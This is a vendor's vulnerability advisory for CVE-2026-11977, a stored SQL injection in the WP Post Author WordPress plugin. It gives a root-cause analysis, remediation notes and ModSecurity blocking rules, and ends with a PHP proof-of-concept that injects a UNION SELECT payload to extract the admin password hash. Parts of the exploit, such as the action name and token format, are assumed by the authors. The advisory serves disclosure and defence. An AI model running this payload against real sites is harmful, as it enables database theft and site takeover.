Atomic Edge analysis of CVE-2026-11977 (metadata-based): This is an authenticated SQL injection vulnerability in the WP Post Author plugin (slug wp-post-author) affecting versions up to and including 3.9.1. The flaw resides in the handling of the ‘wpma_metabox_authors_list’ parameter, which is used when saving post author assignments. An attacker with author-level privileges or higher can store a malicious SQL payload in a guest-author token. The payload later executes when an administrator views the post list screen, resulting in data exfiltration. The CVSS score is 6.5 (Medium), reflecting high confidentiality impact and low privileges required.
Root Cause: The vulnerability is classified as CWE-89 (SQL Injection), which Atomic Edge research infers from the CVE description. The plugin fails to properly escape the user-supplied ‘wpma_metabox_authors_list’ parameter and does not use prepared statements when constructing an SQL query. The description confirms that the parameter is insufficiently escaped and the query is not prepared. Atomic Edge analysis indicates that the plugin likely concatenates the parameter value directly into a SQL statement during post meta saving and later when querying author data for display. Without a code diff, this root cause is inferred from the CWE and the vulnerability description.
Exploitation: The attack requires two steps. First, an authenticated attacker with author-level access submits a crafted value via the ‘wpma_metabox_authors_list’ parameter when creating or editing a post (likely through the post editing metabox or an AJAX action such as wpma_save_metabox). The payload is stored as a guest-author token. Second, when any admin user loads the post list screen at /wp-admin/edit.php, the stored malicious SQL is executed as part of a query that retrieves author information for the Authors column. The result is rendered in the admin interface, allowing the attacker to extract sensitive data such as user credentials or other database contents. Atomic Edge research expects the injection point to be in an AJAX handler associated with the metabox, using an action name similar to wpma_save_metabox or wpma_update_authors.
Remediation: The patched version 3.10.0 likely addresses the vulnerability by properly escaping the ‘wpma_metabox_authors_list’ parameter and using prepared statements with $wpdb->prepare() to construct the SQL query. Atomic Edge analysis infers that the fix involves sanitizing the input with functions like esc_sql or intval (if numeric) and ensuring all database interactions use parameterized queries. Additionally, the plugin may have added capability checks and nonce verification for the vulnerable action.
Impact: Successful exploitation allows an authenticated attacker with author-level access to read arbitrary data from the WordPress database, including sensitive information such as user password hashes, email addresses, and other confidential content. This can lead to full site compromise if an attacker extracts admin credentials. The vulnerability does not directly allow remote code execution or privilege escalation, but the high confidentiality impact (C:H) underscores the severity of data exposure.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-11977 (metadata-based)
# This rule blocks SQL injection attempts targeting the 'wpma_metabox_authors_list' parameter.
# It matches requests to admin-ajax.php with action 'wpma_save_metabox' (assumed) and inspects the parameter for SQLi patterns.
# Since the exact AJAX action may vary, we also include a rule for any POST to admin-ajax.php containing the parameter and SQLi indicators.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202611977,phase:2,deny,status:403,chain,msg:'CVE-2026-11977 SQL Injection via wpma_metabox_authors_list',severity:'CRITICAL',tag:'CVE-2026-11977'"
SecRule ARGS_POST:action "@rx ^wpma_" "chain"
SecRule ARGS_POST:wpma_metabox_authors_list "@detectSQLi" "t:none,t:urlDecodeUni,t:htmlEntityDecode"
# Second rule: catch any other endpoint where the vulnerable parameter appears with SQLi
SecRule REQUEST_URI "@rx ^/wp-admin/"
"id:202611978,phase:2,deny,status:403,chain,msg:'CVE-2026-11977 SQL Injection via wpma_metabox_authors_list (broad)',severity:'CRITICAL',tag:'CVE-2026-11977'"
SecRule ARGS_POST:wpma_metabox_authors_list "@detectSQLi" "t:none,t:urlDecodeUni,t:htmlEntityDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-11977 - WP Post Author <= 3.9.1 - Authenticated (Author+) SQL Injection
// This PoC demonstrates the two-step exploitation chain.
// Assumptions: The vulnerable plugin is installed and activated. An attacker has author-level credentials.
// The AJAX action name is assumed to be 'wpma_save_metabox' based on plugin conventions.
$target_url = 'http://example.com'; // Configure target WordPress site URL
$username = 'author_user'; // Author-level username
$password = 'author_pass'; // Author-level password
// Step 1: Authenticate and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false) {
die("Login failed.n");
}
echo "Logged in successfully.n";
// Step 2: Create a new post to trigger the vulnerable save action (simplified)
// In a real scenario, the attacker would use the post editor to set the guest author token.
// Here we assume the AJAX action 'wpma_save_metabox' is used with a nonce.
// We first need to extract a nonce from the post editor page (assumed to be present in a JavaScript variable).
$post_id = 0; // Create new post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
$editor_page = curl_exec($ch);
// Extract nonce for the metabox (pattern inferred from common plugin code)
preg_match('/wpma_metabox_nonce["']?s*[:=]s*["']([a-f0-9]+)["']/', $editor_page, $matches);
$nonce = $matches[1] ?? 'dummy_nonce';
// Craft SQL injection payload. This payload uses a UNION SELECT to extract the admin password hash.
// The actual payload may need adjustment based on the query structure (inferred).
$sql_payload = "1 UNION SELECT user_pass FROM wp_users WHERE ID=1";
$guest_author_token = base64_encode("guest_author_1'" . $sql_payload . "-- -"); // Simulated token format
// Send AJAX request to save the metabox with the malicious token
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'wpma_save_metabox', // Assumed action
'post_id' => $post_id,
'wpma_metabox_authors_list' => $guest_author_token,
'nonce' => $nonce
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
echo "Save request sent. Response: " . substr($response, 0, 200) . "n";
// Step 3: Trigger the injection by requesting the post list page (as admin)
// In a real attack, the admin would visit this page. The attacker cannot directly trigger it,
// but the PoC simulates the admin's request to confirm the injection executes.
// For demonstration, we use the same session but in a real scenario this would be the admin's browser.
echo "Now an admin must visit /wp-admin/edit.php to trigger the payload.n";
// Optionally, we could attempt to fetch the page as the attacker (if they have admin access) to see the result.
// But the vulnerability requires an admin to load the page, so we skip actual triggering.
echo "PoC completed. The injected SQL will execute when an admin views the post list.n";
curl_close($ch);
?>